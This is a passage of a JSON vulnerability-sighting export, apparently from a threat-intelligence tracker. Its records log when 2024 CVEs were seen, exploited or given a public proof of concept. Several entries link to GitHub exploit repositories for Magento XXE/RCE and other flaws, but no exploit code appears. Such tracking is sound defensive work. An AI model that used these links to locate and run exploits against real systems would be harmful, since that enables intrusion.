"8f2e5796-c8bf-4dfa-88d4-aeb45d7d9574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mhnoxdpm5o2x", "content": "", "creation_timestamp": "2026-03-22T13:52:29.874975Z"}, {"uuid": "d71b6a88-12bc-49e4-a500-f39a2547a981", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34064", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0316/", "content": "", "creation_timestamp": "2026-03-19T00:00:00.000000Z"}, {"uuid": "f682c503-fd4e-4c56-8b4d-12541c98b9cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3f512b0f-f3ce-4bd7-9a3c-59f73c44c882", "content": "", "creation_timestamp": "2026-02-02T12:26:38.064387Z"}, {"uuid": "908aa034-4a49-4a2b-9209-0482b3b9ce0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/66f2010c-d45e-4f01-b0a2-0df0e7189024", "content": "", "creation_timestamp": "2026-02-02T12:26:33.760134Z"}, {"uuid": "38ed9586-50b8-4d87-a72f-63fad954c834", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-01)", "content": "", "creation_timestamp": "2026-04-01T00:00:00.000000Z"}, {"uuid": "0f59a4e8-054b-4b55-81d9-26326e26f99c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mjjzfihwfo2n", "content": "", "creation_timestamp": "2026-04-15T13:39:05.987564Z"}, {"uuid": "9f782652-4661-4441-9078-e8a2c45a88b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116408996294259972", "content": "", "creation_timestamp": "2026-04-15T13:38:47.147385Z"}, {"uuid": "3015827e-87e7-4f42-b536-a6862b0864dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3408", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3memeta3qp52s", "content": "", "creation_timestamp": "2026-02-11T21:03:07.766192Z"}, {"uuid": "e2e62285-f04f-4f83-b9f5-cfa52252a3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/d7d63b76-30b2-426d-b539-96195ff33907", "content": "", "creation_timestamp": "2026-02-07T01:56:17.000000Z"}, {"uuid": "db174285-e594-4b77-8a8f-7d3988729a43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/42ec6a69-f0c4-430d-b5ee-d199b2efc32a", "content": "", "creation_timestamp": "2026-02-07T02:06:08.000000Z"}, {"uuid": "3e093856-26b4-4370-9d70-cccedc688f10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "seen", "source": "https://gist.github.com/tuannguyenx2024/8e367a0089f96d8a24996b10f608c5b3", "content": "", "creation_timestamp": "2026-02-10T16:39:07.000000Z"}, {"uuid": "1d58d070-9bf1-4342-9b64-ffe4f7f2bf9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-14)", "content": "", "creation_timestamp": "2026-02-14T00:00:00.000000Z"}, {"uuid": "1d5036dc-7a09-4117-b8de-5fd7a91dc349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34083", "type": "seen", "source": "https://gist.github.com/morecitricacid-coder/ec64f9313e2ced9b564171986dff5be5", "content": "", "creation_timestamp": "2026-02-27T08:45:57.000000Z"}, {"uuid": "eae124c8-e0e4-44df-9782-dfac12a16c73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34082", "type": "seen", "source": "https://gist.github.com/morecitricacid-coder/ec64f9313e2ced9b564171986dff5be5", "content": "", "creation_timestamp": "2026-02-27T08:45:57.000000Z"}, {"uuid": "facd57b9-44ea-4144-8f17-3f40c3a8a75d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1270", "content": "", "creation_timestamp": "2024-04-15T04:00:00.000000Z"}, {"uuid": "ab8c6579-10a4-40b0-9bd4-db9504d29f21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_12/2024", "content": "", "creation_timestamp": "2024-04-12T08:26:41.000000Z"}, {"uuid": "7aa9f231-deb4-4a26-ba01-7bd635ca98a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/tietomurtoja-palo-alto-globalprotect-tuotteisiin-vaatii-valittomia-toimia", "content": "", "creation_timestamp": "2024-04-18T08:50:45.000000Z"}, {"uuid": "20950a1e-5d0b-4031-8931-f4bbdd4694a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://www.kyberturvallisuuskeskus.fi/fi/haavoittuvuus_16/2024", "content": "", "creation_timestamp": "2024-06-13T10:26:36.000000Z"}, {"uuid": "443d8084-7978-47b4-b934-446eba1d80ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-20)", "content": "", "creation_timestamp": "2026-03-20T00:00:00.000000Z"}, {"uuid": "2317946d-c702-4505-b866-668b8849421b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-21)", "content": "", "creation_timestamp": "2026-03-21T00:00:00.000000Z"}, {"uuid": "9d88577b-39fc-4913-9830-e6c9455a82ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34779", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1369", "content": "", "creation_timestamp": "2024-09-11T04:00:00.000000Z"}, {"uuid": "7834c8ac-4064-415c-b75a-acf15d01c332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34783", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1369", "content": "", "creation_timestamp": "2024-09-11T04:00:00.000000Z"}, {"uuid": "1599d973-6af5-43f3-af9b-6d05d882714a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34785", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1369", "content": "", "creation_timestamp": "2024-09-11T04:00:00.000000Z"}, {"uuid": "cdd885fb-ba16-4679-bb92-23ca8eb2a9b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-20)", "content": "", "creation_timestamp": "2026-03-20T00:00:00.000000Z"}, {"uuid": "313adac3-95f8-4fdc-b0af-2e3ff16a3af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-21)", "content": "", "creation_timestamp": "2026-03-21T00:00:00.000000Z"}, {"uuid": "e130add4-a5ea-4b5d-817c-26176e90bdf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34729", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/aaa30339-107b-4cb3-8a1a-3e5d8398b429", "content": "", "creation_timestamp": "2024-11-07T17:04:54.853683Z"}, {"uuid": "73f344be-223b-448f-a57b-75be36a534ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34747", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/aaa30339-107b-4cb3-8a1a-3e5d8398b429", "content": "", "creation_timestamp": "2024-11-07T17:04:54.853683Z"}, {"uuid": "8d010aa1-a9b6-4698-800f-e0295f6e16c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34719", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/aaa30339-107b-4cb3-8a1a-3e5d8398b429", "content": "", "creation_timestamp": "2024-11-07T17:04:54.853683Z"}, {"uuid": "a2b87d82-635a-4be9-b857-84113ee72e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34787", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "b6d39be3-5bd7-4d0e-8c90-eec618e85c71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34780", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "ba9fd704-8d42-422c-b861-755db2fe2de7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34781", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "19557961-186b-480d-90d9-c3afb2154f25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34784", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "9148ffb2-1617-41af-9c7f-382dc4fe8b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34782", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/66553903-f96d-485e-b1f9-0f25e2695b51", "content": "", "creation_timestamp": "2024-11-13T09:12:33.737749Z"}, {"uuid": "95b46ff6-8495-4307-9932-3048cb1b53d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/fdda4963-0aa7-4d15-8a8f-969db8f304ca", "content": "", "creation_timestamp": "2025-02-28T23:49:13.272798Z"}, {"uuid": "97816c79-6ec8-454f-a831-2d7cfed25bda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/11268897-8798-4ec2-bcac-b23fe0715823", "content": "", "creation_timestamp": "2025-03-11T20:37:58.600981Z"}, {"uuid": "aaaecac7-5375-4b40-8562-8b8d9542b4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/e3ff8696-592c-4423-9a57-2cb2716b141e", "content": "", "creation_timestamp": "2025-08-29T14:07:34.392990Z"}, {"uuid": "f4221640-637a-484e-a98e-b37b376a23cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3f512b0f-f3ce-4bd7-9a3c-59f73c44c882", "content": "", "creation_timestamp": "2026-02-02T12:26:38.064387Z"}, {"uuid": "d8d6053f-53c8-4fbc-b4f2-bc69c12bb976", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/66f2010c-d45e-4f01-b0a2-0df0e7189024", "content": "", "creation_timestamp": "2026-02-02T12:26:33.760134Z"}, {"uuid": "0c87a9cb-3c4d-4fe9-99d9-c787ebe60083", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34359", "type": "seen", "source": "https://bsky.app/profile/yayafa.bsky.social/post/3mizefczwon2g", "content": "", "creation_timestamp": "2026-04-08T22:40:35.776440Z"}, {"uuid": "45ad4682-a134-4227-a1c9-b91223588da9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7790", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCosmicSting (CVE-2024-34102)\nURL\uff1ahttps://github.com/Chocapikk/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-28T23:34:36.000000Z"}, {"uuid": "7dfd1c98-1914-4e8b-a2e5-b7c15b2e864f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34832", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7504", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34832\nURL\uff1ahttps://github.com/julio-cfa/CVE-2024-34832\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-03T10:43:36.000000Z"}, {"uuid": "2eea2977-ee67-4c75-a05c-d716e1eacee5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34144", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8116", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPoC for CVE-2024-34144\nURL\uff1ahttps://github.com/MXWXZ/CVE-2024-34144\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-29T11:27:55.000000Z"}, {"uuid": "d05c2abe-ff1f-4b90-9397-941bb4027103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3408", "type": "published-proof-of-concept", "source": "Telegram/d2nvpcDbVGz-n6BBGwRPnVMe2tQ9uLMaRNEgq6Xpqa0nrTk", "content": "", "creation_timestamp": "2025-12-22T15:00:08.000000Z"}, {"uuid": "039e9ef1-8fe4-4c88-b651-f2d7dcdc2254", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-06)", "content": "", "creation_timestamp": "2026-04-06T00:00:00.000000Z"}, {"uuid": "3f7290aa-821f-4423-a4e2-0eb7addf41c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34750", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0395/", "content": "", "creation_timestamp": "2026-04-02T17:00:00.000000Z"}, {"uuid": "d0897c18-5fd5-4222-bbba-f001b44688d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34361", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7898", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aRCE\n\u63cf\u8ff0\uff1aDocuments for RCEL Data Science class\nURL\uff1ahttps://github.com/T0X1Cx/CVE-2024-34361-PiHole-SSRF-to-RCE\n\n\u6807\u7b7e\uff1a#RCE", "creation_timestamp": "2024-07-07T21:45:14.000000Z"}, {"uuid": "ff50b6f3-08e3-4e33-a310-d74660e1f058", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34361", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7897", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aWhy GNU IFUNC is the real culprit behind CVE-2024-3094\nURL\uff1ahttps://github.com/T0X1Cx/CVE-2024-34361-Exploit\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-07T21:24:29.000000Z"}, {"uuid": "cf1d4706-a0fb-4125-87c5-e4977c41c1d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7710", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC and bulk scanner for CVE-2024-34470\nURL\uff1ahttps://github.com/bigb0x/CVE-2024-34470\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-19T11:36:16.000000Z"}, {"uuid": "ca2abc3f-d208-46e9-ac4d-a292d04cbc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7798", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aMagento XXE (CVE-2024-34102)\nURL\uff1ahttps://github.com/0x0d3ad/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-30T16:54:32.000000Z"}, {"uuid": "2038826a-8cad-4361-89b9-c9191c32ccf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7791", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aTEST CVE-2024-34102 Magento XXE\nURL\uff1ahttps://github.com/cmsec423/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-29T06:03:29.000000Z"}, {"uuid": "d1b331f8-f26d-4948-ad0d-29a5c1e22147", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7772", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce\nURL\uff1ahttps://github.com/dr3u1d/CVE-2024-34102-RCE\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-28T00:05:15.000000Z"}, {"uuid": "152c1bb8-707c-4f09-a316-8d03ca2a154f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7771", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC for CVE-2024-34102. A pre-authentication XML entity injection issue in Magento / Adobe Commerce. \nURL\uff1ahttps://github.com/bigb0x/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-27T22:01:14.000000Z"}, {"uuid": "6adfef83-9f7b-4e64-8d89-46304f4ded9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7770", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102: Unauthenticated Magento XXE\nURL\uff1ahttps://github.com/th3gokul/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-27T18:41:27.000000Z"}, {"uuid": "17fffbeb-6de8-4751-8cc2-e5b6d437bdc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34313", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7749", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1a\u2623\ufe0f  This repository contains the description and a proof of concept for CVE-2024-34313\nURL\uff1ahttps://github.com/vincentscode/CVE-2024-34313\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-23T09:29:56.000000Z"}, {"uuid": "ebece8c6-043f-435c-a47c-f30e724d9782", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7746", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34470 : An Unauthenticated Path Traversal Vulnerability in HSC Mailinspector\nURL\uff1ahttps://github.com/th3gokul/CVE-2024-34470\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-23T03:22:40.000000Z"}, {"uuid": "2bd5aac8-d38d-4b9b-9195-60b672d9d1e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7763", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34102 unauthenticated RCE PoC for Magento/adobe commerce\nURL\uff1ahttps://github.com/ex-arny/CVE-2024-34102-RCE\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-06-26T12:22:10.000000Z"}, {"uuid": "b92a72f6-0310-4ed3-916b-4a0276960918", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34370", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/8318", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aReproducing the following CVEs with dockerfile:CVE-2024-33644 CVE-2024-34370 CVE-2024-22120\nURL\uff1ahttps://github.com/Akshath-Nagulapally/ReproducingCVEs_Akshath_Nagulapally\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-08-20T21:31:55.000000Z"}, {"uuid": "dece9ded-3135-4743-94a5-a872748f965d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7800", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aPOC for CVE-2024-34102 : Unauthenticated Magento XXE and bypassing WAF , You will get http connection on ur webhook\nURL\uff1ahttps://github.com/11whoami99/CVE-2024-34102\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-07-01T03:22:56.000000Z"}, {"uuid": "27eea0f0-3089-466c-8bb9-44766d36e775", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7910", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 